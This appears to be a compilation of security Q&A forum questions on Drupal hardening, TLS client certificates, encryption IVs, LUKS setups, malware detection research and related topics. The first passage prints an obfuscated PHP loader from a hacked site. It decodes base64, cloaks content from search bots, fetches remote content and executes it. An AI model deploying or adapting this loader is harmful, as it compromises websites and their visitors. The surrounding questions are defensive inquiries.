$serialized = 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nY29udGVudCddfX5pIiwkdGFnX2NvbnRlbnRfbmV3LCRjb250ZW50LDEpO3Vuc2V0KCR0YWdzX3ZhbHNbJHRhZ19pbmRleF0pO2lmKHN0cnBvcygkY29udGVudCwkbGluaykhPT0gZmFsc2Upe3Vuc2V0KCRsaW5rc1skbGlua19pbmRleF0pO2NvbnRpbnVlIDI7fX19cmV0dXJuICRjb250ZW50O30=";i:29;s:424:"ZnVuY3Rpb24gZGV0ZWN0X2JvdCgpe2lmKEBwcmVnX21hdGNoKCcvZ29vZ2xlL2knLCR0aGlzLT51YSkpeyR0aGlzLT5ib3Q9J2dvb2dsZSc7cmV0dXJuO31pZihAcHJlZ19tYXRjaCgnL2Jpbmd8bXNufG1zcnxzbHVycHx5YWhvby9pJywkdGhpcy0+dWEpKXskdGhpcy0+Ym90PSdiaW5nJztyZXR1cm47fWlmKEBwcmVnX21hdGNoKCcveWFuZGV4fHlhZGlyZWN0Ym90L2knLCR0aGlzLT51YSkpeyR0aGlzLT5ib3Q9J3lhbmRleCc7cmV0dXJuO31pZihAcHJlZ19tYXRjaCgnL2JhaWR1L2knLCR0aGlzLT51YSkpeyR0aGlzLT5ib3Q9J2JhaWR1JztyZXR1cm47fQ==";i:30;s:516:"aWYoQHByZWdfbWF0Y2goJ35hcG9ydHxyYW1ibGVyfGFiYWNob2JvdHxhY2Nvb25hfGFjb2lyb2JvdHxhc3BzZWVrfGNyb2NjcmF3bGVyfGR1bWJvdHx3ZWJjcmF3bGVyfGdlb25hYm90fGdpZ2Fib3R8bHljb3N8c2Nvb3RlcnxhbHRhdmlzdGF8d2ViYWx0YXxhZGJvdHxlc3R5bGV8bWFpbC5ydXxzY3J1YmJ5fmknLCR0aGlzLT51YSkpeyR0aGlzLT5ib3Q9J290aGVyJztyZXR1cm47fSRpcGw9aXAybG9uZygkdGhpcy0+aXApO2ZvcmVhY2goJHRoaXMtPmlwX2xpc3RzIGFzICRjcmF3bGVyID0+ICRtYXNrcyl7Zm9yZWFjaCgkbWFza3MgYXMgJG1hc2spe2lmKCFzdHJwb3MoJG1hc2ssJy8nKSl7aWYoJHRoaXMtPmlwID09ICRtYXNrKXskdGhpcy0+Ym90PSRjcmF3bGVyO3JldHVybjs=";i:31;s:576:"fX1lbHNlaWYoQCR0aGlzLT5jaWRyX21hdGNoKCRpcGwsJG1hc2spKXskdGhpcy0+Ym90PSRjcmF3bGVyO3JldHVybjt9fX0kcmVmZXJlcj1AZ2V0aG9zdGJ5YWRkcigkdGhpcy0+aXApO2lmKEBwcmVnX21hdGNoKCcvZ29vZ2xlL2knLCRyZWZlcmVyKSl7JHRoaXMtPmJvdD0nZ29vZ2xlJztyZXR1cm47fWlmKEBwcmVnX21hdGNoKCcvYmluZ3xtc258bXNyfHNsdXJwfHlhaG9vfG1pY3Jvc29mdC9pJywkcmVmZXJlcikpeyR0aGlzLT5ib3Q9J2JpbmcnO3JldHVybjt9fWZ1bmN0aW9uIGNpZHJfbWF0Y2goJGlwLCRyYW5nZSl7bGlzdCgkc3VibmV0LCRiaXRzKT1leHBsb2RlKCcvJywkcmFuZ2UpOyRzdWJuZXQ9aXAybG9uZygkc3VibmV0KTskbWFzaz0tMSA8PCgzMi0kYml0cyk7JHN1Ym5ldCAmPSAkbWFzaztyZXR1cm5AKCRpcCYkbWFzayk9PSAkc3VibmV0O30=";i:32;s:500:"ZnVuY3Rpb24gZ2V0KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpeyRjaD1jdXJsX2luaXQoJHVybCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsOCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVElNRU9VVCwxNSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfSEVBREVSLDApO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXT1c2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzMzLjAuMTc1MC4xNTQgU2FmYXJpLzUzNy4zNicpOw==";i:33;s:548:"JGRhdGE9Y3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpO3JldHVybiAkZGF0YTt9ZWxzZWlmKEBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSl7cmV0dXJuQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpO31lbHNleyRwYXJ0cz1wYXJzZV91cmwoJHVybCk7JHRhcmdldD0kcGFydHNbJ2hvc3QnXTskcG9ydD1pc3NldCgkcGFydHNbJ3BvcnQnXSk/JHBhcnRzWydwb3J0J106ODA7JHBhZ2U9aXNzZXQoJHBhcnRzWydwYXRoJ10pPyRwYXJ0c1sncGF0aCddOicnOyRwYWdlIC49IGlzc2V0KCRwYXJ0c1sncXVlcnknXSk/Jz8nIC4kcGFydHNbJ3F1ZXJ5J106Jyc7JHBhZ2UgLj0gaXNzZXQoJHBhcnRzWydmcmFnbWVudCddKT8nIycgLiRwYXJ0c1snZnJhZ21lbnQnXTonJzskcGFnZT0oJHBhZ2UgPT0gJycpPycvJzokcGFnZTs=";i:34;s:616:"aWYoJGZwPUBmc29ja29wZW4oJHRhcmdldCwkcG9ydCwkZXJybm8sJGVycnN0ciwzKSl7QHNvY2tldF9zZXRfb3B0aW9uKCRmcCxTT0xfU09DS0VULFNPX1JDVlRJTUVPLGFycmF5KCJzZWMiPT4gMSwidXNlYyI9PiAxKSk7JGhlYWRlcnM9IkdFVCAkcGFnZSBIVFRQLzEuMVxyXG4iOyRoZWFkZXJzIC49Ikhvc3Q6IHskcGFydHNbJ2hvc3QnXX1cclxuIjskaGVhZGVycyAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7aWYoZndyaXRlKCRmcCwkaGVhZGVycykpeyRyZXNwPScnO3doaWxlKCFmZW9mKCRmcCkmJigkY3Vycj1mZ2V0cygkZnAsMTI4KSkhPT0gZmFsc2UpeyRyZXNwIC49ICRjdXJyO31pZihpc3NldCgkY3VycikmJiAkY3VyciAhPT0gZmFsc2Upe2ZjbG9zZSgkZnApO3JldHVybiBzdWJzdHIoc3Ryc3RyKCRyZXNwLCJcclxuXHJcbiIpLDMpO319ZmNsb3NlKCRmcCk7fX1yZXR1cm4gVFJVRTt9fQ==";i:35;s:152:"JHJhdGVsPW5ldyBSYXRlbDskcmF0ZWwtPmluaXQoJHJ1cmksJGhvc3QsJGlzX2JvdCk7aWYoIWVtcHR5KCRfUkVRVUVTVFsnc2V0X2xhbmcnXSkpIGVjaG8gJzwhLS0gbGFuZ19VU18yIC0tPic7fQ==";}';
$rawData = array_map("base64_decode", unserialize($serialized));
$rawData = implode($rawData);
$outputData = create_function(false, $rawData);
call_user_func($outputData);
Questions:
Since the file extension is .jpg, will the php code get executed?
As I understand, drupal will create a .htaccess files in sites/default/files directory with code php_flag engine off, does that means the all php code in files directory can't get executed?
Let say I don't want to update my drupal application to latest version, I was thinking if below make sense?
I change all directory & files permission (except sites/default/files) to 555 or 444. Meaning hacker wouldn't be able to upload any scripts to my server? Is this consider safe in this way?
I added <FilesMatch "\.(php)$">Order allow,deny</FilesMatch> in sites/default/files/.htaccess, will it more secure? or not necessary?
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I have an application that is installed at customer premises. This sometimes has to communicates with their server(PACS server), and the details are configured in our application. I have to enable TLS for secure communication between these two entities.
Our application can be configured to communicate with multiple servers in customer premises.
We ship our application to multiple customers.
The question I have is:
Who will issue the client certificate?
Should I ask the customer to generate a client certificate so that this can be presented to their server for authentication? This means if i have mutiple servers configured, i'll have multiple client certificates.
Should I generate a self-signed certificate and provide them root certificate so that they can install it in their trusted root certificate store? This way I will have only one certificate to deal with which will be shipped to all customers. The same certificate will be presented to different servers in each customer premise.
Should I generate a client certificate and get it signed by 3rd party CA?
If I go for last 2 options, I feel that I may run into a problem with domain name configured in client certificate. We ship industrial PC (windows 10 and our application burned into a CD).
Can we create a single certificate and ship it to multiple customers, and use to it communicate with different servers? AFAIK, if the root certificate/CA certificate that is used to sign client certificate is in the server's trusted root certificate store, client should be validated.
What would be the best approach I can take?
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When a HTTPS connection with a client certificate request is done, the client sends a CertificateVerify message with his public certificate so the server can verify that the client has a valid private certificate that matches the public key.
This CertificateVerify has a signed hash made from a common client and server data. How this data is made? It's random? Who makes it? Is the server or is the client that generates this data and sends it to the server? I can't find information about that and I'm unable to read the code (apache2 mod_ssl or openssl).
Besides that, is it possible to get the original data and the hashed signed result sent by the client from the server side (log from apache, PHP)?
All the technical data that I've found about a SSL handshake only makes reference that this is the procedure but not how the data to sign is generated and how the server can "save" it as proof that the authentication is made (How does a server validate the Certificate Verify message in SSL/TLS?)
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I'm using RNGCryptoServiceProvider.GetBytes(new byte[16]) to generate IV's to use in AES (256 bits) encryption. For every record I encrypt, I generate a new IV.
I'm also prepending each of these IV's to the encrypted text (to avoid storing them on a different column in the DB), as I guess is the standard.
However, to do that concatenation, I am using Convert.ToBase64String() to convert the IV byte array to a string first.
After a few tests I found a couple patterns that concern me:
every IV, as a string, ends with "=="
every encrypted text ends with a "="
One example of an output from my encryption:
XbjwWH4ZA02KtH49/4IP9w==RxVDObmUzg3TJe0jWNuj8ZqDwK4zc8n0o4KCsXV1478=
Isn't this painfully obvious?
I look at this and I know exactly where the IV ends and the encrypted string begins. If every record in the DB looks like this, then it's obvious that the first part is the IV, if you notice the fixed size and are aware of standard implementations.
Also, I'm not sure the ending with a "=" won't give away more.
Why does this happen? Is it my fault for converting the byte array?
Shouldn't I be worried about these patterns being a possible security weakness?
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I've recently begun learning about Cyber Security related to Bluetooth. I toggled the "Show Bluetooth devices without names" (or something similar) in my phone in developer mode and went to the supermarket. I detected tens of previously undetectable Bluetooth MAC addresses. When I looked them up online in sites such as this one I couldn't find a single one, except for the headphone icon.
My questions are:
Is this normal? What are the most likely devices for these addresses?
I thought that perhaps certain devices such as fridges, might have bluetooth connections. However, wouldn't the vendor be shown in mac finder pages?
When I went to a quieter area of the supermarket, the number of addresses dropped significantly. Would this mean that: A) Everyone (or at least a lot) of supermarket customers are using a mac address changer in their devices, and B) keeping Bluetooth on at all times?
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Doing malware analysis I'm interested in being able to log every instruction the CPU executes for a given process. I was hoping this was perhaps possible in a standard VM environment, even if not possible in a bare-metal execution scenario. I'm interested specifically in Windows 10 for now.
To be clear, I don't mean inside a debugger or special emulator sandbox designed specifically for malware detection. That's going to be detectable by the attacker and can be bypassed. I'm thinking of an approach where we monitor the execution on our real, production machines (perhaps having all systems operate as VMs/hypervisors if necessary) and as the forbidden tools execute we analyze and detect the behavior fingerprint. This would include any dynamically allocated executable data, for example data made executable after a VirtualProtect call.
Solutions I'm considering
Processors already handle context switches as a regular part of multi-threaded architectures, for example Hyper Threading, and I guess one way to describe what I'm interested in doing is to track the state of one of those contexts as the VM simulates it.
Considering a general arithmetic addition operation A = B+1. The instruction is stored in the instruction register and the program counter is incremented. A and B are read from memory and are stored in registers R1, R2 respectively. In this case, B+1 is calculated and written in R1 as the final answer. This operation as there are sequential reads and writes and there's no waits for function calls used, hence no context switch/wait takes place in this case. - source
Perhaps I would need to hijack the VM's implementation of this process to track which process is currently in filling the register state and insert some code in the VM's hyperthreading emulation code to store that state somewhere else each time it updates?
Perhaps that's overkill. Perhaps no VMs actually virtualize systems on such a low level to make this possible. I'm still learning about the lower level working of VMs. I would expect such low-level emulation to cause a significant performance hit, especially if we're recording register states between each instruction - a massive performance hit probably.
Question
Can this be achieved with existing virtual machine tools, or why not? What features should I look to in VM software or Windows OS documentation? Or rather, will I almost certainly have to make low-level modifications to a VM product to create a custom solution for doing this? Or perhaps would a new kind of VM have to be built to essentially do this kind of instruction processing virtualization?
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UPDATED Summary: I'm looking at Linux FDE options that are transparent to the user (my parents) in that the user doesn't need to enter 2 passwords. I found/thought of several options and tried to think through the security implications of each... but I am not great at infosec. Mostly I am wanting to verify that I have correctly understood the pros/cons of each option.
I have seen several people ITT and others mention an "Evil Maid" attack... But that seems to imply the maid is someone who doesn't know computers. I've heard it said that it is bad to underestimate one's opponents; it is also true that neither technology or tech-skills sit still... So I'm more interested in protecting from an "Evil Maid + Her Linux-Hobbyist Boyfriend" attack. Apologies for the length; hopefully my edits have trimmed it down a bit.
I am looking into using LUKS/FDE for a Linux /home partition setup for my parents a precaution against physical theft. In an age where there are many tech savvy people, I don't think it at all unreasonable that even a computer illiterate thief might at least "know a guy" who dabbles in Linux. So I would like to protect to at least the level of making things too frustrating for a Linux hobbyist to pursue.
My parents absolutely will not bother with FDE if they have to type multiple passwords and have stated they would rather not be protected than have to type a second password (basically, this is a real-world example of AviD's Rule of Usability: "Security at the expense of usability comes at the expense of security.").
This will be on a mix of Fedora 33 (Cinnamon spin) and Linux Mint 20 systems. I am mostly trying to eliminate truly "bad" options and present them with a list of viable options to choose from. I realize that there is a subjective decision that has to be made based on security vs. convenience - that is for them to decide, I am just trying to make sure that I understand it well enough to pare it down for them. :-)
I think all of the options I have listed would produce a transparent (e.g. single-password entry) FDE system. But I don't think the security/maintenance of each is equal. I am especially interested in whether options 5 and 7 have any glaring security flaws which are easy for someone with a Kali livedisc to quickly exploit (say less than a week).
Local-file auto-unlock: LUKS can be auto-unlocked with an /etc/crypttab entry pointing to a local keyfile per crypttab man pages. Pros: easy to setup/maintain/etc. Cons: False sense of security: anyone with a Linux livedisc could easily use the same keyfile to gain access to the unencrypted files, no special tools required. Some people consider putting the keyfile on a USB stick to be different; but my parents would either leave it plugged in or keep in next to the computer so I am lumping them together. I don't think I would really even consider this and am just listing it in case I have grossly misunderstood something.
Merged into option 1 for brevity but trying to keep same order so replies make sense.
Network-file auto-unlock: Same as option 1 but use the _netdev option in crypttab to get the keyfile from a network device. To prevent the key server device from being stolen along with the PC, best bet is probably to hide a RaspPi etc somewhere as the key server. The main downside is another device I have to learn/maintain. Another downside is that last I checked IOT security was garbage (I might be out-of-date though).
Tang-server auto-unlock: Basically option 3 but using tang + clevis instead of just hosting keyfile on fileserver/NFS/samba/whatever. Same cons as option 3 but probably more secure in the server software.
Linux password auto-unlock: Make LUKS passphrase same as Linux user password, then replace /etc/mounttab mappings with something like pam_mount. Pros: sounds easy to setup, low maintenance, good usability. Cons: There is some risk here that someone could boot up a Kali (or other) livedisc, look at the hashes in /etc/shadow and then run those hashes through some kind of cracking utility to help guess the password... something like a smarter brute-force that only targets matching hashes. But no clue how long this might take the "average" Linux hobbyist with "average" consumer hardware.... Is it days or weeks? Or something that only takes a few hours or less? If this is kind of attack is easy to pull off on plain hardware, then I'll pass; but if not, this could be a great compromise for setup/maintenance/usability/security vs setting up a key server.
UPDATE: This seems very dependent on the password used... trying simple tests using john against the unshadowed hash for password test took ~8s. The same test with password example took ~8m. Trying with an old 5-digit numeric garage door pin I no longer use... it's been running for over 11.5 hours and still hasn't got it yet. That said, I'm using an older mid-tier consumer gaming rig, I'm running with defaults and no distributed cloud/custom dictionaries, and haven't tried hashcat yet... I expect any/all of those things could yield better results (from the attacker's perspective).
However, the more I think about this from a computer science perspective, the less I like this approach. Unlike with a web-service or crypto-container like LUKS/VeraCrypt, attackers aren't just blindly trying to guess the password. They already have something that tells them what the correct password will be and it is just a matter of doing the legwork. So why couldn't the legwork be done up front and stored in a database/lookup table. I am very much a novice when it comes to this stuff. But what if there was a tool that pre-computed hashes into such lookup tables and combined that with other techniques to drastically ramp up speed? Google searches indicate things like this might already exist. Maybe the "Linux-Hobbyist Boyfriend" attacking the drive is ignorant of them like me, but considering that LUKS doesn't appear to expose its password hashes, this option would definitely make attacking a LUKS partition easier if such a tool does exist unless there is some way to have Linux not store the hash in /etc/shadow (I am unaware of any such method/configuration shy of heavily modifying the kernel).
Skip FDE and just use VeraCrypt container: Still a few usability cons here and I'm not sure they'd like this option. There are also a few security cons (some files will probably be left in the open due to human nature/human error, browser profiles unprotected, and unencrypted copies of moved files might be viewable via recovery software). Pros: easy to setup, easy to maintain, and any data that is stored correctly is very secure. Cons: usability (still have another password to manage), some security gaps.
Cheat - FDE + auto-login w non-sudo user: If they just don't want to enter 2 passwords, I could probably set up a LUKS container normally (requires passphrase during boot via crypttab) and then setup a normal/non-root/non-sudoer user that does not require any password and just automatically logs right in. After looking into this more seriously, and assuming it was only the auto-login on the desktop manager that was used (e.g. user-account was still password-protected), then this seems like a fairly viable and secure option... as long as we don't get any more prodigy hackers attacking lockscreens. Pros: easy to setup/maintain/FDE. Cons: ??? Can't find any...
Systemd-homed?: While looking into the security of option 5, I came across this article on systemd-homed which it sounds like that is a more secure version of option 5 where you get the LUKS encrypted container for the user's $HOME dir (sounds like it is per user rather than all of /home tho) and possibly without the risk of someone being able to simply fire up a cracking tool against password hashes from your unencrypted /etc/shadow file. It appears to be released and there are notes on the arch wiki. However, I am not yet clear on: a) how stable is it in common distros like fedora or mint, b) is the json file that is replacing /etc/shadow similarly vulnerable to live disc snooping and cracking tools.
I was considering removing this question as I think I have done a poor job of constructing it in a manner than is easily answerable on stackexchange and I also feel like I did a bad job conveying what I was looking for when I initially posted it... I think that the real problem boils down to the fact that I have asked about a topic that requires answer multiple questions instead of asking about a single specific question.
However, I've been revising it and adding updates from my own research and now I am considering leaving it up in case it is useful to others that might stumble in from google... Assuming stackexchange mods don't mind?
semi-relevant remaining research questions I'm still working on:
For option #5 (and maybe 8?): Are there any estimates about how long it would take to crack non-leaked passwords (based mostly on haveibeenpwned offline db) using low-to-mid range consumer gaming hardware without distributed/cloud-based attacks or crypto-mining rigs? e.g. commonly available hardware that someone a thief might know could reasonably have. Since length/entropy matters, the examples I had planned to test with (subpar to the actual passwords) have been 5- and 10-digit random numeric "passwords", then 8-, 10-, and 12- digit random alphanumeric "passwords".
For option #5 (and maybe 8?): Need to determine what "good" parameters or dictionaries to use with john / hashcat are and/or if there are better (faster) tools for cracking from a known password hash. If I am able to get the time for cracking non-leaked random 10- or 12- digit alphanumeric "passwords" down to a week or less on my older gaming hw, I will probably consider that option to be completely and utterly busted.
For option 8: how stable is homed? Does the json file have the same vulnerabilities as option 5 does in the /etc/shadow file?
Currently, as of 2021-Jun-11, my opinion of the options is as follows:
Local-file auto-unlock: NOT SECURE ON-SITE: Vulnerable to any live discs
USB auto-unlock: NOT SECURE ON-SITE FOR US: Vulnerable to poorly hidden usb + live discs
Network-file auto-unlock: DON'T BOTHER; OPTION 4 IS BETTER
Tang-server auto-unlock: LOT OF WORK, POSSIBLY INSECURE DUE TO IOT, ADDED COSTS (RASP-PI)
Linux password auto-unlock: NOT SECURE ON-SITE. Depending on tech level of the thieves, it is potentially vulnerable to live discs. It will likely take longer to break than option 1 but it definitely can be broken if someone has a spare box to run the password cracking on for awhile. In my limited testing, I also tried 3 different pam_mount configurations without success on Fedora 33 so possibly also harder to setup than I thought.
Skip FDE and just use VeraCrypt container: SECURE BUT USABILITY ISSUES
FDE + auto-login w non-sudo user: FAIRLY SECURE, HIGH USABILITY
Systemd-homed?: UNKNOWN SECURITY, UNKNOWN USABILITY
I am leaning strongly towards option 7 (LUKS + autologin). If it doesn't work, I might look into option 8 (homed) or option 4 (hidden rasp-pi running tang server) as fallbacks.
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I have a Spring-MVC webapp deployed on a Hostinger VPS server (OS: Ubuntu 18.04, Apache2 + Tomcat servers). For some reason, every now and then, clicking on random regions within the web pages of my webapp causes malicious advert pages to open. The whole code for the webapp was written by myself and I have avoided using any malicious components. The VPS server itself was a clean install so I don't think that could be the source of these ads. I have tried this from multiple devices with the same result.
One thing I should point out is that the website is not running using HTTPS as I am yet to purchase an SSL certificate.
Is there a way to figure out why these ads keep showing up? What could possibly be the reason for these ad popups and what could I do to prevent this?
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The EAL for Common Criteria are described briefly as:
EAL1: Functionally Tested. ...
EAL2: Structurally Tested. ...
EAL3: Methodically Tested and Checked. ...
EAL4: Methodically Designed, Tested, and Reviewed. ...
EAL5: Semi-Formally Designed and Tested. ...
EAL6: Semi-Formally Verified Design and Tested. ...
EAL7: Formally Verified Design and Tested.
Does "Formally Verified Design" refer to the source code undergoing static code analysis? Thus meaning that the source code would have to be disclosed to gain EAL > 4?
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When performing a passive packet capture of a network, I have seen a large amount of traffic being broadcast using different protocols. These protocols are primarily used to perform some kind of traffic routing/fail over/redundancy in case a device goes down in the topology.
Several of these protocols have known weaknesses and can be used to manipulate traffic flows between networking devices. For example HSRP is seen as broadcasting authentication data with a clear text password. This is bad and can be exploited using software like 'Yersinia' to perform interception and denial of service attacks.
My main question is: Assuming that the presence of these protocols is required for operations, should I be seeing them in all subnets, including those only used by 'users' or can they be constrained in some way to a specific management only subnet while still providing functionality?
The protocols i'm looking at are:
STP
CDP
LLDP
HSRP
VRRP
DTP
ISL
VTP
EIGRP
WLCCP
BFD
LDP
I'm also interested in any other protocols I might have missed that might fall into the category of 'network management protocols that can be abused by an attacker on the local subnet'.
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Physical 2FA tokens, such as smart cards or YubiKeys, are becoming more popular in large companies for authentication purposes. However, one issue with them is availability: When a physical 2FA token is lost or gets broken, the user is by design not able to authenticate anymore.
How should a company manage their physical 2FA tokens to ensure employees who lose their 2FA tokens can get access back as soon as possible?
Here are some possible solutions I thought of:
Keep some empty tokens as backup
By keeping a handful of empty tokens as backup, these can be personalized by IT relatively quickly, and should allow the users to continue working. The downside is that, given the current situation forcing many people to work from home, employees may not be able to pick up a new token immediately, which can lead to significant downtime.
Give everyone a second token
Basically, employees are given two tokens (let's call them "primary" and "backup" tokens), and told to keep their backup tokens in a safe place. Should the primary token become unavailable due to loss or malfunction, the secondary token can be accessed rather easily. The downside here is that this essentially doubles the cost for 2FA tokens, while also increasing attack surface.
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Malwarebytes on Android includes a file scanner. Is it known or claimed to be sandboxed, by anything more than the Android sandbox for the Malwarebytes app?
Or does it avoid using any parser code in languages with low memory safety (C, C++ etc)?
Perhaps they have been independently certified, for protecting their file scanner appropriately?
Context
File parsers are prone to vulnerabilities. That's partly why PC antiviruses scan even non-program files. But it's also why PC antiviruses have been vulnerable, and started to sandbox their file parsers.
I have read these previous questions and their answers:
Is Android anti-virus software necessary and helpful?
How do anti-virus apps for Android work?
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I'm curious to know if an attacker can fundamentally exploit the debugging process.
I'm not asking if specific debugging tools have been exploitable, surely some have, but rather whether the process of debugging - any and perhaps every debugging tool - is vulnerable to being lied to or used as an attack surface.
If the answer is "it depends on which OS we're talking about", let's focus on the Windows debugging API. And if the answer is that the way Windows does it isn't reliable or secure but it fundamentally could be, then that's what I'd like to know.
This relates to research I'm doing on the problem space of modern malware using polymorphism, emulator evasion, and obfuscation to defeat signature recognition.
It doesn't matter if the attacker knows it's running in a debugger
I'm fully aware that an attacker can detect they're running in a modified environment (whitepaper by Blackthorne et al. based on emulator detection but debuggers create the same scenario) (video) and use evasion strategies to hide the malicious behavior they might otherwise demonstrate on a target machine. However, I'm interested in the usage of a debugger (Qira, a "timeless" debugger by Google's Project Zero is of interest, although not decidedly so) to track the state of a process on the target machine so I can experiment with applying machine learning to develop signatures of polymorphic, obfuscated, and evasive programs.
Because we're watching a process on the actual target rather than within an EV emulator sandbox, it doesn't matter that the attacker knows they're being watched by a debugger. The attacker has to execute the malicious behavior path within their code in order for the payload to accomplish its goal.
My goal is detection of a signature - perhaps interruption of a detected process, but that's not mandatory. I'm looking at this problem space from the perspective of making a reliable way to create a signature for recognizing the polymorphic obfuscated payload for the purpose of identifying and responding to the threat rapidly, even if it already did the bad thing.
Performance isn't of interest
(So long as it's still feasible to run basic office programs performantly)
I realize running a program in a debugger will cause a significant performance hit. That's an accepted trade-off of the research I'm interested in. We're assuming the defender is willing to pay higher hardware costs to run programs. If certain computationally expensive programs can't afford this overhead, the security measure wouldn't apply to certain hosts running those programs. Such hosts may be isolated in a specific network segment with that factor in mind.
My question is this:
Is there a fundamental flaw in the reliability of the way debugging can be accomplished? Is the way debugging happens vulnerable at the processor, kernel, or OS level? Is it possible for a properly designed debugger to reliably watch the state of a program in a production environment as it executes?
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Signing up for a medical records service today, in addition to security questions (sigh) I was prompted with a field that read:
Security Phrase for Email Messages:
Your security phrase will be included with all email communications to verify that you received the email from <service> (this is not your password or security question answer)
Example: I love chocolate. My dog's name is Toto.
I've never seen this anywhere before and couldn't find anything on it online (maybe I wasn't using the right terms). The reasoning seems to be that only will know your security phrase and seeing it in an email will verify it, because a phishing attack won't be able to duplicate it.
On the other hand, it seems to me not much more useful than security questions and may even train users to not use other methods of verifying incoming email.
Is this kind of thing a good way to verify emails from a service? Would it help prevent phishing attacks?
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Isn't it very simple for one rogue programmer in a big institution to add a small code change in the application/website thereby sending unintended HTTP DDoS attacks? Like is it possible for Tiktok/Facebook to do this?
Like, every time I slide the screen, a POST/GET request goes to some target website/application that will be overwhelmed by the traffic? Are pirate sites a part of this?
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Suppose that I have a Veracrypt container on Windows 10. I unlock it, open and edit a Text document, open an image, watch a video. Then I close all files, unmount the container.
Then I run CCleaner to remove caches (including thumbnail) and wipe the free space on my hard (not SSD) drive. Then I run cipher wipe on the drive again just to be sure.
Is this enough to remove all traces of the contents of those files? I have hibernate disabled and the pagefile disabled btw.
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So I used Qemu on Ubuntu 20 to emulate a computer running windows 10. I kept all of Qemu default values. Then, while installing the Windows 10 iso, I kept all the default values once again. Finally, I went on :
https://amiunique.org/fp
And the site tells me my browser fingerprint is unique! In theory, Qemu can emulate hardware, so by using a Windows 10 clean install I should be able produce a fingerprint that is very common. It seems like the website can gather data about elements outside of the scope of the emulation.
How is this possible? How to prevent it?
Also I get a score of 1.43% for fonts used. Is it really that uncommon to only have the default fonts or is there something else at play here?
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JTAG
System software debug support is for many software developers the main reason to be interested in JTAG. Many silicon architectures such as PowerPC, MIPS, ARM, x86 built an entire software debug, instruction tracing, and data tracing infrastructure around the basic JTAG protocol. - source
I'd like to know if there are any malware detection solutions that use the dedicated debug port on x86 motherboards leverage the JTAG protocol to observe processes and detect malicious behavior signatures as they occur on the victim machine.
This port seems like a powerful solution to modern malware detection problems based on the fact that external hardware gets to monitor the system's every state change.
I have a lot of research left to do on how JTAG works, but some possibilities I considered for why it (using the dedicated physical debug port) might not work are:
Perhaps JTAG can only debug one core at a time, or not all cores at once, making it impossible to use for a system-wide monitoring solution. Relevant question
Perhaps the performance cost is too high. Relevant question
Perhaps I completely misunderstood the workings of this capability and various details make what I'm suggesting impossible.
Context
Based on this related question I asked recently about using an OS's debugging API to track a process state, you should be able to understand this question about JTAG a little better.
To recap, that question is about my research on the application of machine learning against register and memory state change patterns to defeat evasive and polymorphic techniques used by modern malware to avoid behavior based signature recognition traditionally performed within emulator sandboxes.
By watching processes actually executing on the real machine where they must demonstrate their behavior in order to accomplish the desired goal, we can avoid the weaknesses experienced by emulator based approaches (which would be an already defeated layer in our defense strategy by the time the solution I'm asking about now would be relevant).
The question
Are there any existing JTAG (hardware) based malware detection systems, and if not, why?
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CWE-117 is the common weakness enumeration for improper output neutralization in logs. My company uses VeraCode to scan for security weaknesses. Veracode indicated that this code had a output neutralization weakness:
catch (Exception e)
{
_logger.ErrorFormat(_loggerFormat, "An error occurred (while doing something redacted)", e.Message.ToString());
result = SomeEnum.Exception
}
_logger is an ILogger and uses log4net.
I would argue that an Exception message is NOT untrusted data and therefore I don't have to neutralize it to remove carriage returns and line feeds. I'm not display a string of user input, I'm showing a message from a caught exception.
What am I missing?
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